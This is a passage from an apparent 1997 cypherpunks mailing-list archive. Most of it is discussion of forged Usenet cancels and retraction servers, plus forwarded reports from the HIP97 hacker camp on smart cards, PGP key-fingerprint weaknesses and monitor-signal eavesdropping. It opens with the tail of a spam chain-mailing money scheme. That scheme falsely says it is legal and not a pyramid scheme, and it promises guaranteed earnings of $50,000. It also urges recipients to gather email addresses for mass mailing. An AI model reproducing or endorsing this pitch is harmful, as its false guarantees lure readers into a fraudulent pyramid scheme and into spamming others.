-------------------------------------------------------------------------------------------------------------------- 
REPORT #3
"SOURCES FOR THE BEST MAILING LISTS"
ORDER REPORT #3 FROM

Retirement Unlimited
3019 S. Norwood AVE.
Independence, MO 64052

--------------------------------------------------------------------------------------------------------------------
REPORT #4
"EVALUATING MULTI-LEVEL SALES"
ORDER REPORT #4 FROM

LaChance Information Systems
P.O. Box 308
Placida, FL. 33946-0308

--------------------------------------------------------------------------------------------------------------------

CONCLUSION

 I am enjoying my fortune that I made by sending out this program.
You too, Will be making money in 20 to 90 days if  you follow the SIMPLE STEPS
outlined in this mailing.

Very few people reach financial independence, because when opportunity knocks
they choose to ignore it. It is much easier to say "NO than YES", and this is the question you must answer. Will YOU ignore this amazing opportunity or will you take
advantage of it? If you do nothing, you have indeed missed something and nothing will change. Please re-read this material this is a very special opportunity.
If you have any questions please feel free to write to the sender of this information.
You will get a prompt and informative reply.

My method is simple. I sell thousands of people a product for $5 that costs me pennies to produce and E-Mail. I should also point out that this program is legal and everyone who participates WILL make money. This is not a chain letter or a pyramid scam. At times you have probably received chain letters, asking you to send money,
on faith, but getting nothing in return. No product what so ever! Not only are chain letters illegal but the risk of some one breaking the chain makes them quite
unattractive.

You are offering a legitimate product to your people. After they purchase the product from you, they reproduce more and resell them.
Its simple free enterprise. As you learned from the enclosed material the PRODUCT 
is a series of FOUR FINANCIAL AND BUSINESS REPORTS. The information contained in these REPORTS will not only help you in making your participation
in this program more rewarding, but will be useful to you in any other business decisions you make in the years ahead. You are also buying the right to reprint
all of the REPORTS, which will be ordered from you by those to whom you mail this program. The concise one and two page REPORTS you will be buying can easily
be reproduced at a local copy center for a cost of about 3 cents a copy.
Best Wishes with this program and Good Luck!

TIPS FOR SUCCESS

Send for your (4) four reports immediately so you will have them when the orders start
coming in. When You receive a $5 order, You must send out the product/service to comply with US Postal and Lottery laws. Title18 sections1302 and 1341 specifically
state that: "A PRODUCT or SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED".

 WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1. Name your company. You can use your own name if you like.

2. Get a Post Office Box ( preferred).

3. Edit the names and addresses on the program. You must remember
    Your name and address go next to REPORT#1 and the others all move down one
    with the fourth being bumped OFF the list.

4. Obtain as many E-Mail addresses as possible to send to, until you receive      the information on mailing list companies in REPORT#3.

5. Decide on the number of programs you intend to send out. The more you send,      and the quicker you send them, the more money you will make. 

6. After mailing the programs get ready to fill the orders.

7. Copy the (4) FOUR REPORTS so you are able to send them out as soon as you      receive an order. IMPORTANT: ALWAYS PROVIDE SAME DAY SERVICE ON           ORDERS YOU RECEIVE!

YOUR GUARANTEE:

The check point which GUARANTEES your success is simply this: You must receive
15 to 20 orders for REPORT #1. This is a must!!!  If you don't within the first 2 weeks,
E-Mail out more programs until you do. Then a couple of weeks later you should receive at least 100 orders for REPORT #2 if you don't send out more programs until you do. Once you have received 100 or more orders for REPORT #2, (take a deep breath) you can sit back and relax, Because you are going to make at least $50,000
Mathematically it is a proven guarantee. Of those who have participated in the program and reached the above gurantees ALL have reached their $50,000 goal.
Also, remember every time your name is moved down on the list you are in front of a different REPORT so you can keep track of your program by knowing what people are
ordering from you. IT'S THAT EASY, REALLY, IT IS!!!

"I seem to have been only like a boy playing on the seashore, and diverting myself in now and then finding a smoother pebble or a prettier shell than ordinary, whilst the great ocean of truth lay all undiscovered before me."
                                                                                                     -Sir Isaac Newton

From dformosa at st.nepean.uws.edu.au  Sat Aug  9 22:53:40 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Sat, 9 Aug 1997 22:53:40 -0700 (PDT)
Subject: forgeries are good for you (was Re: REPOST : Un-forgeable Cancels)
In-Reply-To: <199708081827.TAA01595@server.test.net>
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 8 Aug 1997, Adam Back wrote:

[...]

> But that's cool!  Y shouldn't be able to cancel the forgery ... he
> didn't write it.  

[...]

> I mean this seriously.  People should stop misplacing any value on
> From fields.  You need to use digital signatures to recognize
> persistent personas.

This is true but with everthing there is a trade off between securaty and
efficency.  There are many posts on usenet that are just not worth the
cost of checking there sigs.  If I had to depend only on the sig reather
then having the chouse of only checking the sig on susouse posts I
wouldn't be able to read as much usenet as I do.

> (David = David Formosa?)

Yes.

> What's the point of this?  To provide a way to stop unsophisticated
> forgeries without needing NoCeM support in the client? 

Not mean clients have the capsity to issue NoCeMs,  a lower number of
peaple have anough reputation to issue them.

> I guess it would work well enough, but it's really a bit centralised.

Not realy, when finished I will distrabute the sourse.  The hope is that
we will have a number of compeating retraction servers around the world.

> The operator of the retraction server might be over trusted by a lot
> of people.

True.  But building up that type of trust is possable.

> If the operator turns out to be untrustworthy, or whatever, you're out
> of luck.

No you simply more to the other retraction server.  There will be nothing
unqueek about one server then anouther.

> Also break into his machine and steal his secret key and you could
> have a _lot_ of fun.

This is true of cause.

>  And it's only one machine, what if his security isn't up to much.

Its not going to only be one machine.

> Think decentralised.

We are.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From rah at shipwright.com  Sat Aug  9 08:32:01 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 9 Aug 1997 23:32:01 +0800
Subject: It's cool to be iang@hip97.nl
Message-ID: 

--- begin forwarded text

Date: 8 Aug 1997 13:12:06 -0000
From: iang at systemics.com
To: e$@thumper.vmeng.com
Subject: It's cool to be iang at hip97.nl
Sender: 
Precedence: Bulk
List-Software: LetterRip 2.0 by Fog City Software, Inc.
List-Unsubscribe: 
List-Subscribe: 

Well, sometimes it takes a long time to get a network going, and
sometimes it takes, well, minutes.  Ten minutes ago I wandered
down to the HIP HQ tent and picked up a clothes peg with an IP
number on it, and a slip of paper with some details.

And now I am up and running.  What's more surprising is this a fast
link.  Traceroutes under 10ms are about the best advert I can think
of for XS4ALL, the Dutch provider at the centre of it all.  There's no
flies on the PTT either, with dual 6Mb microwaves and a portable GSM
cell linking this field in the middle of nowhere to central Amsterdam.

It makes you wonder whether this privatisation business is really all
it's cracked up to be.

Lucky Green has done a sterling job as cypherpunk advance campmeister.
When he's not building computer racks out of empty beer bottles (I'm
typing on two crates of real Budweiser!), he's teasing us with a public
key triple DES scrambler.  We're not allowed to use it because we're
not Americans.  But that's cool, as long as we have our SSH and PGP and
we get to empty more beer bottles.

Beer is selling at 4 Hipsters.  Ain't private currencies wonderful :-)

Last night I walked the entire campsite.  Only the clear skys and bright
stars reminded me of a mis-spent youth in the outdoors.  Tents piled
with equipment.  Not the glowflies of Anguilla, but glowing monitors
and flashing leds for our lighting.  Not the sounds of crickets, but
keyboard clicking and "gateway's up" and "who's got address 21" in
multi-lingual hip-speak.

Having got this machine up and going, the only thing I can think of
is to write this email.  But that's ok too, because I'm about to be
booted off.  Squiggle is going to hook up her sonar to Brian the Brain,
the cypherpunk sysadm.  That's for Brian to send out 49.4kHz clicks
so that he knows when to ask for food of passer's by.  Which makes for
two over-worked brains that I can count.

It's cool to be iang at hip97.nl

PS: Brian and friend are at http://www.sabotage.org/mpeg/brain1.jpeg

--- end forwarded text

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/

From rah at shipwright.com  Sat Aug  9 08:32:55 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 9 Aug 1997 23:32:55 +0800
Subject: Hipped on PGP
Message-ID: 

--- begin forwarded text

Date: 9 Aug 1997 02:13:36 -0000
From: iang at systemics.com
To: e$@thumper.vmeng.com
Subject: Hipped on PGP
Sender: 
Precedence: Bulk
List-Software: LetterRip 2.0 by Fog City Software, Inc.
List-Unsubscribe: 
List-Subscribe: 

HIP finishes late in the day.  It's 0100 - that's one in the morning
for the temporally challenged - and the smart card workshop has just
broken up.

Actually it was the second pass.  The first pass was 'sold out' at 150
people, this second started at 2300 this evening.  Again, 150 people
turned up and sat through presentations of hardware and data formats
and attacks on the financially finest plastic in Europe.

I have no snippets or revelations, I am not one of the dedicated.  Mondex
remains un-hacked, ChipKnip is secure.  Frankly I'm not interested, I find
the world of smart cards deadly boring.  Perhaps it is the hardware, or
maybe because attacks on smart cards have little chance of realising any
gain or meltdown.

I can on the other hand report that Saturn is safe tonight, as our in-HIP
astrodome is busilly monitoring progress.  What better way to wind down
than to head up to north campground and check out the latest telescopic
tracking software.  Speaking of celestial control, the weather is perfect.
That's by California standards, not European.

Dave del Torto was lucky to be joining us for his talk on PGP user security.
After buzzing the bells of the trainee bag scanner with 15kg of portables
and random cables, he was incarcerated in an investigative cell for a couple
of hours.  Many hours after seeing his flight head east, a state department
goon turns up.

"When are you coming back?" asks the goon, knowing full well the
day.  Dave says "the 16th" blithely unaware that his passport expires on the
day before.  Goon leaves, returns, hands over passport.   Only problem was,
passport was cancelled...  No explanation.  No advice, no help.

How Dave wings it over to HIP and saves the free world has to wait until,
well, another's email.  What disturbs is the gradual, unstoppable closing
of borders in our erstwhile free western neigbour.  Just like the American
predomination, or should I say, embarrasment of topic on the never-ending
crypto saga.

If freedom is to contract a cancer, a malignant tumour, then Dave's talk
on PGP user security is as a promise of the miracle cure, and not the
State Department chemotheropy that cures the disease by killing the patient.

Dave was followed by a presentation by Gary Howland on weaknesses in PGP.
These theoretical problems leave one with niggling doubts as to the accepted
reputation, our holy gail of privacy and security.  There is no need for
panic - many of the attacks are both highly specific, have been recognised
for some time, and have been explicitly fixed in the latest release, PGP 5.0.

But there is pause for thought.  Howland and myself and many other have
built financial cryptographic systems that relied on the mantra of PGP
impregnability.  The attacks he described work best in programmed systems
like ours and those of our more respectable competitors.

For example, imagine building a system that authorised counterparties on
the strength of the PGP id or the fingerprint.

Now we discover that Mallory can make a new key with the same fingerprint.
Whilst not wishing to state that this is the end of the world, clearly we
have to re-evaluate the entire architecture that was built up upon PGP.
We believed in the PGP reputation as much as others, and these attacks
are a timely reminder of the need for eternal hacker vigilance.

These flaws are significant but addressable: PGP 5.0 has fixes for all but
one of the flaws mentioned.  And for the record, whilst Gary's attack to
change conventionally encrypted files without detection was unknown to the
PGP team at the moment, we can be sure that it will be addressed.

Other exciting developments were the van Eyk demonstration by Prof.
Euller.  Not one, not two, but three methods to detect and display
PC monitor signals on a slaved monitor, from distances into the several
hundreds of metres.  There is now little doubt that standard computers
are the FBIs best friend.  What need key escrow?

Signing off and Hipped out.  iang at somwhere.in.the.middle.of.nowhere

--- end forwarded text

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/

From rah at shipwright.com  Sat Aug  9 08:41:09 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 9 Aug 1997 23:41:09 +0800
Subject: Hipped on PGP
Message-ID: 

--- begin forwarded text